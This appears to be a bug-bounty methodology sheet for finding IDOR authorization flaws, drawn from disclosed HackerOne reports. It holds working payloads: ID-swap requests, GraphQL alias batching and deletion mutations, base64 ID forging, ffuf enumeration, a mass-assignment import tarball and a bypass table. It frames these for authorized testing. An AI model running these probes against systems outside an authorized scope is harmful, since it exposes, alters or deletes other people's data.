IDORIntermediate16 min read2026-08-14
LANG:EN|FR

IDOR Hunting Kit

Every parameter name, probe sequence, bypass and escalation path for finding authorization bugs — distilled from 250 disclosed HackerOne reports into a sheet you keep open while testing.

THE RESEARCH BEHIND THIS KIT
This kit distils the techniques observed across 250 disclosed reports. Read the full analysis
#IDOR#Payloads#Checklist#Authorization#GraphQL#API Security#Methodology

Where It Hides

PARAMETER NAMES — GREP YOUR BURP SITEMAP FOR THESE

# Identity & account
id  uid  user  user_id  userId  userid  account_id  accountId  member_id
profile_id  customer_id  client_id  owner_id  actor_id  subject_id  person_id
employee_id  student_id  patient_id  contact_id  lead_id  guest_id

# Tenancy & scope — these pay the most, they cross org boundaries
org_id  organization_id  tenant_id  workspace_id  team_id  group_id  company_id
project_id  shop_id  store_id  site_id  app_id  namespace_id  realm_id  env_id

# Commerce & money
order_id  booking_id  reservation_id  cart_id  transaction_id  payment_id
invoice_id  receipt_id  subscription_id  voucher_id  coupon_id  refund_id
payout_id  card_id  bank_account_id  wallet_id  billing_id  quote_id

# Documents & media
doc_id  document_id  file_id  fileId  attachment_id  media_id  asset_id
image_id  photo_id  video_id  export_id  report_id  download_id  key  path

# Communication & workflow
message_id  thread_id  conversation_id  chat_id  comment_id  note_id  post_id
ticket_id  case_id  issue_id  request_id  task_id  event_id  notification_id

# Credentials & entitlement — high severity when writable
token_id  session_id  api_key_id  credential_id  certification_id  license_id
badge_id  role_id  permission_id  invite_id  membership_id  device_id  webhook_id

# Identity-by-string — IDOR does not require an integer
email  username  phone  msisdn  slug  handle  external_id  sub  upn  ref

INPUT SURFACES — WHERE THE IDENTIFIER TRAVELS

# 1. Path segment        GET /api/v1/bookings/8847
# 2. Query string        GET /Download.aspx?id=4675
# 3. JSON body           {"booking_id": 8847, "email": "victim@domain.tld"}
# 4. Form body           booking_id=8847&action=cancel
# 5. Custom headers      X-User-Id / X-Account-Id / X-Tenant-Id / X-Org-Id
#                        X-Customer-Id / X-Impersonate-User / X-Forwarded-User
#                        X-On-Behalf-Of / X-Actor-Id / Referer (scope leaks here)
# 6. Cookies             account_id=8847; last_org=42; selected_tenant=acme
# 7. GraphQL variables   {"ids": ["VICTIM_SNAP_ID"], "storyType": "SPOTLIGHT_STORY"}
# 8. Multipart filename  Content-Disposition: name="file"; filename="../8848.pdf"
# 9. JWT / session claims decode it — sub, uid, tid, org are often TRUSTED server-side
# 10. WebSocket frames   {"op":"subscribe","channel":"orders:8848"}
# 11. Import archives    project.json inside a tarball → "issue_ids": [27422144]
# 12. Signed/opaque blob base64, hex, protobuf — decode before assuming it is safe

The Hunting Checklist

FIRST PROBE TO CONFIRMED IMPACT

STEP 1: PROVISION THREE ACCOUNTS

Do: Account A and B at the same privilege tier, C in a different org/tenant. Separate browser profiles or containers so sessions never bleed.
Tool: Firefox Multi-Account Containers, or two browsers behind Burp on 127.0.0.1:8080.
Positive: Nothing yet — but you now own two known-good IDs to swap. Without this step every finding is unprovable.

STEP 2: CRAWL A, THEN HARVEST EVERY IDENTIFIER

Do: Exercise every feature as A — create, edit, share, export, delete. Then mine the proxy history for numeric and opaque values.
Tool: Burp sitemap export, then grep -oE '"[a-z_]_?id"\s:\s*"?[A-Za-z0-9=_-]+'. GAP or Param Miner for hidden params.
Positive: A list of ID parameters with A's real values, and the ID format — sequential int, UUID, base64, ObjectId.

STEP 3: THE SWAP — A'S SESSION, B'S OBJECT

Do: Replay each request with A's cookie/bearer and B's identifier. Change one thing at a time.
Tool: Burp Repeater by hand; Autorize or AuthMatrix to do it across the whole sitemap automatically.
Positive: HTTP 200 containing B's data — not a 403, not an empty object, not A's own record echoed back. Diff the two responses before believing it.

STEP 4: RUN EVERY VERB, NOT JUST GET

Do: For each endpoint that reads, try PUT, PATCH, DELETE and POST against B's ID. Authorization is frequently implemented per handler, so the read path can be safe while the write path is wide open.
Tool: Repeater. Send DELETE against a throwaway object you created on B, never on a real user.
Positive: 200/204 plus the object actually gone or mutated when you re-check as B. Write access is where the four- and five-figure bounties live.

STEP 5: DROP THE SESSION ENTIRELY

Do: Re-send the winning request with the Cookie and Authorization headers stripped.
Tool: curl with no auth, or Repeater with the header deleted.
Positive: Data returns with zero credentials. That converts a normal IDOR into unauthenticated exposure and typically moves it a full severity band.

STEP 6: HIT THE SURFACES DEVELOPERS FORGET

Do: GraphQL mutations, import/export pipelines, search and filter endpoints, webhooks, admin and internal tooling, and older API versions (/v1/ when the web app calls /v2/).
Tool: GraphQL introspection or Clairvoyance when it is disabled; jadx / apktool on the mobile APK to recover routes the web client never calls.
Positive: A route absent from the web app that still answers. Bykea's #3085742 came from exactly this — a hardcoded zombie endpoint found in the Android app.

STEP 7: MEASURE THE BLAST RADIUS — THEN STOP

Do: Prove the victim is arbitrary, not lucky. Five to ten IDs across a wide range is enough. Do not dump the database.
Tool: Burp Intruder / Turbo Intruder, or ffuf with a low -rate.
Positive: Distinct objects belonging to distinct third parties. Record the count and the ID span, then stop and write it up.

Payload Cheatsheet

1. THE CORE SWAP

# Baseline — your own object. Save this response, you diff against it.
GET /api/v1/bookings/8847 HTTP/1.1
Authorization: Bearer A_TOKEN

# The probe — one character changed.
GET /api/v1/bookings/8848 HTTP/1.1
Authorization: Bearer A_TOKEN
# POSITIVE: 200 + a name/phone/address that is not yours.

# Walk the range in both directions. Low IDs are the oldest, often
# internal test or staff accounts with richer data.
GET /api/v1/bookings/1     HTTP/1.1
GET /api/v1/bookings/8846  HTTP/1.1

# Identity-by-string — the session is valid, the action targets someone else.
# Mozilla FxA never checked the session owned the account being destroyed.
POST /v1/account/destroy HTTP/1.1
Host: api.accounts.firefox.com
Authorization: Bearer A_SESSION_TOKEN
Content-Type: application/json

{"email":"victim@domain.tld","authPW":"42b4c2940fe2efecce851a2d8e9754d0f1cb1d37"}

2. GRAPHQL

# Introspection first — dump every mutation, look for delete*/update*/remove*
{__schema{mutationType{fields{name args{name type{name ofType{name}}}}}}}

# Ownership is usually checked on the root field only. Reach the object
# through a parent edge instead and the check is never evaluated.
query { organization(id:"OWN_ORG") { members { privateEmail phone } } }

# Alias batching — many objects per HTTP request, defeats per-request
# rate limits and proves arbitrary access in a single screenshot.
query {
  a: user(id:1235){ email phone }
  b: user(id:1236){ email phone }
  c: user(id:1237){ email phone }
}

# Write path. Snapchat's deleteStorySnaps took an ids array with no
# ownership validation — intercept your own delete, swap the id.
mutation DeleteStorySnaps($ids:[String!]!, $storyType:StoryType!) {
  deleteStorySnaps(ids:$ids, storyType:$storyType)
}
# variables: {"ids":["VICTIM_SNAP_ID"],"storyType":"SPOTLIGHT_STORY"}

3. DECODE BEFORE YOU GIVE UP ON "OPAQUE" IDS

# base64 wrapper — extremely common, and trivially re-encodable
echo 'eyJ1c2VyX2lkIjoxMjM0fQ==' | base64 -d      # {"user_id": 1234}
echo -n '{"user_id": 1235}' | base64             # forge the neighbour

# GraphQL Relay global IDs are base64 of "Type:pk"
echo 'VXNlcjoxMjM0' | base64 -d                  # User:1234
echo -n 'User:1235' | base64                     # VXNlcjoxMjM1

# hex / decimal
printf '%d\n' 0x4D2                              # 1234

# MongoDB ObjectId: 4-byte timestamp + 5-byte random + 3-byte counter.
# The trailing counter increments per insert — neighbours are guessable.
# 65f1a2b3 c4d5e6f7a8b9 0001  ->  ...0002 is the next document

# UUIDv1 embeds a timestamp and MAC address — not random, predictable
# within a window. UUIDv4 is random; hunt for where it LEAKS instead
# (search results, list endpoints, error messages, email footers).

4. ENUMERATION — SMALL, SLOW, DOCUMENTED

# Ten IDs is proof. Ten thousand is an incident report with your name on it.
seq 8840 8850 > ids.txt

ffuf -w ids.txt:FUZZ \
     -u "$TARGET/api/v1/bookings/FUZZ" \
     -H "Authorization: Bearer $A_TOKEN" \
     -mc 200 -rate 5 -o idor.json

# Length-based triage: identical sizes are usually a generic error page,
# varying sizes with 200s mean real distinct records.
curl -s -H "Authorization: Bearer $A_TOKEN" \
     "$TARGET/api/v1/bookings/8848" | jq '{name,phone,address}'

# Sequential file downloads — the DoD pattern, no ownership map at all
for i in 4675 4676 4677; do
  curl -sI "$TARGET/Download.aspx?id=$i" | grep -i 'content-disposition'
done

5. IMPORT PIPELINES — MASS ASSIGNMENT OF FOREIGN KEYS

// project.json inside the uploaded tarball. The importer called
// assign_attributes() on this hash, so *_ids arrays reparented objects
// belonging to other projects. Two $20,000 GitLab reports came from it.
{
  "description": "attacker project",
  "issue_ids": [27422144],
  "issues": [],
  "merge_request_ids": [12345678],
  "merge_requests": [],
  "note_ids": [98765432],
  "board_ids": [11111]
}
tar -czf evil.tar.gz project.json
curl -X POST "$TARGET/api/v4/projects/import" \
     -H "PRIVATE-TOKEN: $A_TOKEN" \
     -F "path=stolen" -F "file=@evil.tar.gz"
# Then browse your new project — foreign issues appear inside it.

Filter and Control Bypasses

| Technique | Payload | Why it works | |---|---|---| | Wrap ID in an array | {"id":[1235]} | The ownership check compares a scalar; an array fails the comparison but the ORM still resolves it. | | Parameter pollution | ?id=1234&id=1235 | Gateway or middleware reads the first occurrence, the application framework reads the last. | | Split path and body | path /users/1234, body {"user_id":1235} | Middleware authorizes the path segment; the handler trusts the body. | | Verb swap | GETPUT / PATCH / DELETE | Authorization is registered per handler. The read path is reviewed, the write path is not. | | Method override | POST + X-HTTP-Method-Override: DELETE | Routing rules that deny DELETE are keyed to the real verb, not the override header. | | Content-type swap | application/jsonapplication/x-www-form-urlencoded or XML | An alternate parser branch skips the filter bound to the JSON deserializer. | | Extension append | /api/users/1235.json, .xml, / | Route or WAF regex anchored on the exact path stops matching. | | Wildcard and null IDs | id=*, id=0, id=-1, id=%00, id=null | Unbound query returns every row, or resolves to a seeded system/admin record. | | Old API version | /v1/ while the client calls /v2/ | The legacy handler predates the authorization middleware and was never retired. | | Zombie mobile route | strings pulled from the APK | Route removed from the web client but still served — Bykea #3085742. | | Import foreign keys | "issue_ids":[27422144] in project.json | Bulk import mass-assigns attributes, bypassing the API's per-object checks — GitLab #743953, #767770. | | Identity in the body | {"email":"victim@domain.tld"} with your own token | The server authenticates the session but binds the action to the body identity — Mozilla #3154983. | | Ignore the hidden UI | send the DELETE the button never renders | The frontend hides the control; the endpoint has no check at all — Snapchat #1819832. | | Sequential download IDs | Download.aspx?id=4676 | File handlers commonly serve from a path map with no ownership column — DoD #1626508. | | GraphQL alias batching | a:user(id:1235){...} b:user(id:1236){...} | Rate limiting and logging count HTTP requests, not resolved fields. | | Nested traversal | reach the object via its parent edge | Field-level authorization is applied at the root query only. |

Escalation Ladder

FROM "I SAW ONE RECORD" TO A CRITICAL

RUNG 1: CONFIRM IT IS DETERMINISTIC

Reproduce three times, in a clean session, after a re-login. Cached responses and stale service workers have sunk a lot of reports that were never bugs.

RUNG 2: WIDEN THE VERB — READ TO WRITE

Reading someone's record is Medium-shaped. Modifying or deleting it is High-shaped. Every headline bounty in the dataset — GitLab, Snapchat, Mozilla — was a write or delete, not a read.

RUNG 3: WIDEN THE POPULATION

One victim is an anecdote; arbitrary victims are a vulnerability. Show that the ID is unbounded and unpredictable-free — sequential, or leaked somewhere you can point at. "Any user" is the phrase triage is looking for.

RUNG 4: WIDEN THE DATA CLASS

Enumerate the fields you actually get back. Phone numbers, home addresses, government IDs, payment instruments, API keys and CI/CD secrets each move severity independently. Name the regulated categories explicitly — PII, PCI, PHI.

RUNG 5: CROSS THE TENANT BOUNDARY

A user-to-user IDOR is one thing; org-to-org is a multi-tenancy failure and gets triaged against the product's core security promise. This is why org_id, shop_id and tenant_id outrank user_id.

RUNG 6: CHAIN IT

One IDOR leaks the identifiers a second one consumes. Add an auth weakness and you have account takeover. Uber's #1145428 chained three bugs into arbitrary charges against any business card.

RUNG 7: PUT A NUMBER ON IT

Translate access into consequence: how many records, which fields, what a competitor or fraudster does with them. The gap between the dataset's Low average ($560) and Critical average ($14,333) is almost entirely this rung.

Report-Writing Notes

WHAT KEEPS TRIAGE FROM DOWNGRADING YOU

1. State the account setup first. "Account A (attacker, id 8847) and Account B (victim, id 8848), both free-tier, no shared org." Ambiguity here is the single most common cause of an Informative close.
2. Paste raw requests and responses — full headers, both accounts, side by side. A video is a supplement, never the primary evidence; triagers cannot copy a request out of an MP4.
3. Show at least three distinct victims. It closes the "you only proved one edge case" objection before it is raised.
4. List the leaked fields by name. Do not write "user data" — write "full name, mobile number, delivery address, trip coordinates".
5. Pre-empt "the attacker must know the ID". Point to where IDs leak: sequential allocation, list endpoints, search results, public profiles, email footers.
6. Pre-empt "the user already had access". Prove the data is not reachable through B's own UI or any sharing feature.
7. Argue the CVSS vector, do not just paste it. Justify C, I and A separately — a delete primitive is an availability impact and hunters routinely forget to claim it.
8. Say what you did not do. "Stopped after 10 IDs; no data retained; test objects created on my own account." Restraint reads as professionalism and protects you.
9. Appeal with new evidence, not with volume. Mozilla's report was closed Informative, then reopened at High for $6,000 once the researcher showed SSO users share a deterministic password hash. A downgrade is an invitation to find the edge case that breaks the triager's assumption.

Known Dead Ends

LOOKS LIKE IDOR, PAYS NOTHING

Predictable IDs with no unauthorized access. Sequential integers are a design smell, not a finding. Without a crossed boundary it closes as Informative every time.
Data that is public by design. Public profiles, public repos, published listings, shared-link documents. Check what an anonymous visitor already sees before reporting.
Unguessable capability URLs. A 128-bit random share link is the authorization. Unless you can show it leaking through a Referer, a log, or a search index, "no auth on the URL" is by design.
403 with a different response length or timing. Existence oracles are Low at best, and usually Informative unless you can extract actual content.
Access you were granted. Admin, moderator, workspace-owner and support roles are supposed to reach other users' objects. Confirm the role boundary before claiming one was crossed.
User and email enumeration at signup or password reset. Routinely marked out of scope. It is a supporting detail for a real IDOR, not a report of its own.
Your own data in your own export. CSV and PDF exports containing your identifiers are not a leak.
Missing rate limiting on a properly authorized endpoint. That is a separate, usually low-value class — do not dress it up as IDOR.
Deleted or expired objects returning 404 vs 403. Almost never accepted, and it burns credibility for the report that follows.
! Expect no bounty on a large share of valid findings. In the 250-report dataset, 82% carried no payout — government and VDP-only programs are the bulk of that. Check the policy before investing a weekend.

TEST ONLY WHAT YOU ARE AUTHORIZED TO TEST. Use accounts you control as the victim wherever possible, stop enumerating the moment access is proven, and retain nothing. Every technique on this page is documented for use inside an in-scope program.

[SHARE_THIS_POST]
Help spread knowledge in the cybersecurity community